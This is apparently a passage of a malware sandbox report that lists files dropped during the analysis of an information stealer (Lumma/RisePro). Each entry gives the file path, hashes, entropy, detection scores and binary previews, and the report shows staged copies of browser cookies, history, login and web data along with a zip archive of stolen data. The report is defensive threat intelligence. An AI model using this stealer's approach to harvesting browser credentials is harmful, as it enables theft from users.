Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........7.Z.Y.Z.Y.Z.Y...Z.n.Y...\..Y...]...Y...X.Y.Y.Z.X..Y.O.\.E.Y.O.].U.Y.O.Z.L.Y.l3].[.Y.l3Y.[.Y.l3..[.Y.l3[.[.Y.RichZ.Y.................PE..L...i.`e...........!...%.. .........{D........ ...............................%...........@...........................#..6....$.(.....$.......................$.....`.#.8...........................x.#.@.............$..............................text...G. ....... ................. ..`.rdata...".... ..$.... .............@..@.data...4\|... $..b....#.............@....idata........$......^$.............@..@.00cfg........$......p$.............@..@.rsrc.........$......r$.............@..@.reloc..5.....$.......$.............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\lumma2606[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	501760
Entropy (8bit):	7.632838318543174
Encrypted:	false
SSDEEP:	12288:PpZdsQvofcmfO1VdiBcrKSzrQbHyYx3Ro8:Pb/vPdvKkiSYx3+
MD5:	93299CD3BCB2A0A2B38EECA1CDB8AE23
SHA1:	473D70D598475F0D2784389FF543470638597CB2
SHA-256:	16A7754DE464E184DE4DE3A7EC93C93D80D340B41B6579744F876C839085E3CA
SHA-512:	47486788B9F89736C1F9E306A39BCA20F606924BEED568694B5EB093C8B5042B1486C72E59F0D3350CB35103648BABFBF653C75DA6EE9293EC78F69BBC9EE3A4
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 79%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........@.@.@.....Q...........V..s..R.....G.@....s.....s..X..p..A..p..A.Rich@.................PE..L.....{f...............'....................0....@.......................................@.....................................P................................!.....................................@............0..x............................text............................... ..`.BsS....m.... ...................... ..`.rdata..z....0......................@..@.data...............................@....reloc...!......."..................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\rise2606[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1847296
Entropy (8bit):	7.952361851623971
Encrypted:	false
SSDEEP:	49152:XZKDuL48I2oJDxrV/4ePVhfBHcXuCEe/vPOM6yWKp3+EmfOS:XZ2uL439144fCXubCv2M6yWy3+i
MD5:	C72E70F29D3DD8FA148DF55E8E6DEC43
SHA1:	2F182D43528F78D6D847B37B77DA9A09A2ED1F0A
SHA-256:	BAFF3039B9ACF97084D1B853F495026C52A4C483D010901E226BEB599D23DF5B
SHA-512:	D1923E33057413D478DAAAAA54BB157762172A58AE03FC36E0C1C6E4D64C0C33D08BFF7AEC8759F533331215960D739FEC2FFEA86D18D1D8A70105927A6A5F12
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 63%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........@.@.@.....Q...........V..s..R.....G.@....s.....s..X..p..A..p..A.Rich@.................PE..L.....{f...............'.....*..............0....@.......................................@.....................................P............................P..(!.....................................@............0..x............................text............................... ..`.BsS....m.... ...................... ..`.rdata..z....0......................@..@.data....S.......D..................@....reloc..(!...P..."..................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ZAu2iiJBgBZikoF1oNNHtbO.zip

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	695426
Entropy (8bit):	7.997793766948364
Encrypted:	true
SSDEEP:	12288:ym3CIqoLDmL5vHzQMgeyNvCnx+BNlYov4HBZNz8m+PSbnsQfK8yH:dCIdmpQHNgcNr4HBr81PSzV7+
MD5:	722AEB25E10A882ABFEB7BDF895031AF
SHA1:	0EDE6333064E004E04EACE1D98FC04787681B297
SHA-256:	DB33153335D222456778FCE9A55B792B6CCB26F9B0820221108109306C0BE31F
SHA-512:	6A2949940BD080B0607A9EA4721B016CA87DA01AC7D2E44809C769EE196B8B94F5683439644B80DCD5AA088176C6B0A4D6C4FA71BAD43550BC874C188DDA35CA
Malicious:	true
Yara Hits:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: C:\Users\user\AppData\Local\Temp\ZAu2iiJBgBZikoF1oNNHtbO.zip, Author: Joe Security
Preview:	PK...........X................Cookies\..PK...........X..E.............Cookies\Chrome_Default.txt....P.@.5.....d...`\|L2J1l.. .3."_..N.......q..b..=../c.;{.........4F8...0..Y.........Z}Y.g.<w3.f.W(....K.o..l...!*.......y.o;.F..5%.....\|0MS.....J.,....../.o...8.H...,M.......;.....I!.z.W....j...e....fE.?.X....6...g...skL.K.85b.U.5...[/.<.h....C..\|...C5"{..i.$...'..W).f.O.i..4.....L..Z..t.Z(].2.m.?..<....]........f..I3?.q..8U.6...8.N.y_#Vb...g.k?.Z1.!.3$.....\.%...PK...........X................History\..PK...........X..H.A...p...,...History\Firefox_v6zchhhv.default-release.txt.())(...///......I../J./(.,KL..O.,JM...44.4312.06.....)5O74..V.PK...........X...............information.txt.Xmo.H.....X.$...m>]B.&M."^..p....+...&......f..."..3..<3...:N....<X'......X.]D..n.[..Bu..~.>.SD].q.....b.[7Ax....C...p9S~'te....Y..:.aBf.;.0..4.u....].qG.0...T.....Tr...d..[.w...\.a!.<?..+.f....n..8.Aq.E....N#..7q..\.....h.1..j....#w..0#.t..g..Q[.n.....g..q.Y...\...l..$../:.

C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\02zdBXl47cvzcookies.sqlite

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\3b6N2Xdh3CYwplaces.sqlite

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\47LGWxSXkkh6History

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\4wopRLcaQo0qWeb Data

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\CvldljVivtL9Web Data

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\D87fZN3R3jFeplaces.sqlite

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\InhatOZKHAApCookies

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\YJcoh5NNqoq7History

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\aGEJHGYaStQIHistory

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\atr5zp8nilwZWeb Data

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\bgn9REcfAHdLWeb Data

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\dusa44mwY53bWeb Data

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\ev40y13uGHnnWeb Data

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\hhUml7ndoUuFxb5WyDjE.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	703488
Entropy (8bit):	7.782933844537582
Encrypted:	false
SSDEEP:	12288:1VzhH99+QaIqONhS7pZGnlO3ZqCWHFtcusqoYEuP0mSJKgYXo8:1Rv9CLUCaHsqiZ1Kc
MD5:	F3D3B5411E090124197B7B6297B1D8DB
SHA1:	90522C25164CB4B22242D95678547D86A68E52B7
SHA-256:	1D519AF0B0B48FAF1886065D31E5F27000228DAD742E2F8F06504838D4BC02D5
SHA-512:	CEE5F1C20CBE4067BAFE1DEDEE8C4DB870430B6E6F792ACCAC95D3E05C20A64893AD3DD971182C8E7D001243E5BC933AA2532C93359B4AF72CA691FD8FFF8736
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 62%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........@.@.@.....Q...........V..s..R.....G.@....s.....s..X..p..A..p..A.Rich@.................PE..L... .{f...............'....................0....@.......................................@.....................................P............................... !.....................................@............0..x............................text............................... ..`.BsS....m.... ...................... ..`.rdata..z....0......................@..@.data...............................@....reloc.. !......."..................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\ijOeGUQOWTvL4Jd0VuCY.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	501760
Entropy (8bit):	7.632838318543174
Encrypted:	false
SSDEEP:	12288:PpZdsQvofcmfO1VdiBcrKSzrQbHyYx3Ro8:Pb/vPdvKkiSYx3+
MD5:	93299CD3BCB2A0A2B38EECA1CDB8AE23
SHA1:	473D70D598475F0D2784389FF543470638597CB2
SHA-256:	16A7754DE464E184DE4DE3A7EC93C93D80D340B41B6579744F876C839085E3CA
SHA-512:	47486788B9F89736C1F9E306A39BCA20F606924BEED568694B5EB093C8B5042B1486C72E59F0D3350CB35103648BABFBF653C75DA6EE9293EC78F69BBC9EE3A4
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 79%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........@.@.@.....Q...........V..s..R.....G.@....s.....s..X..p..A..p..A.Rich@.................PE..L.....{f...............'....................0....@.......................................@.....................................P................................!.....................................@............0..x............................text............................... ..`.BsS....m.... ...................... ..`.rdata..z....0......................@..@.data...............................@....reloc...!......."..................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\lU8UsNjxYsOULogin Data

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\mYGOn6W5YhkUHistory

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\nUdtXUIwk_H6Login Data

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\pQuKvF5V8lUXfe4thfRR.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	411136
Entropy (8bit):	7.500553295768982
Encrypted:	false
SSDEEP:	12288:jdI4y5LNCOuGcOq1H6Bvbw1tiNPUtIbsKRHo8:jq40NKaDiyPDI
MD5:	CB907B20EE4FB4389D25989D7DE466E8
SHA1:	4D63141C71E834E81C5F57F90F663C409EDF3A41
SHA-256:	7A95AE3B370D318BFF008A07FDDF1B6DEB1BEB78FA9E021C5C9F106D1149B553
SHA-512:	81C3F8E3362A565A426710B54E4F2B64165B764635818B788F43824B3F0CDD2DC354CBDB6FF945BDFE42BD4ADE7ED05B721F978FAA5AF3D6DF71CF6B81F13FE2
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 58%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........@.@.@.....Q...........V..s..R.....G.@....s.....s..X..p..A..p..A.Rich@.................PE..L...c.{f...............'.....@..............0....@.......................................@.....................................P............................`..(!.....................................@............0..x............................text............................... ..`.BsS....m.... ...................... ..`.rdata..z....0......................@..@.data....i.......Z..................@....reloc..(!...`..."...$..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanmA1X5YS12PoP\s7jOcwxjI7k0XEcaiYN_.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1847296
Entropy (8bit):	7.952361851623971
Encrypted:	false
SSDEEP:	49152:XZKDuL48I2oJDxrV/4ePVhfBHcXuCEe/vPOM6yWKp3+EmfOS:XZ2uL439144fCXubCv2M6yWy3+i
MD5:	C72E70F29D3DD8FA148DF55E8E6DEC43
SHA1:	2F182D43528F78D6D847B37B77DA9A09A2ED1F0A
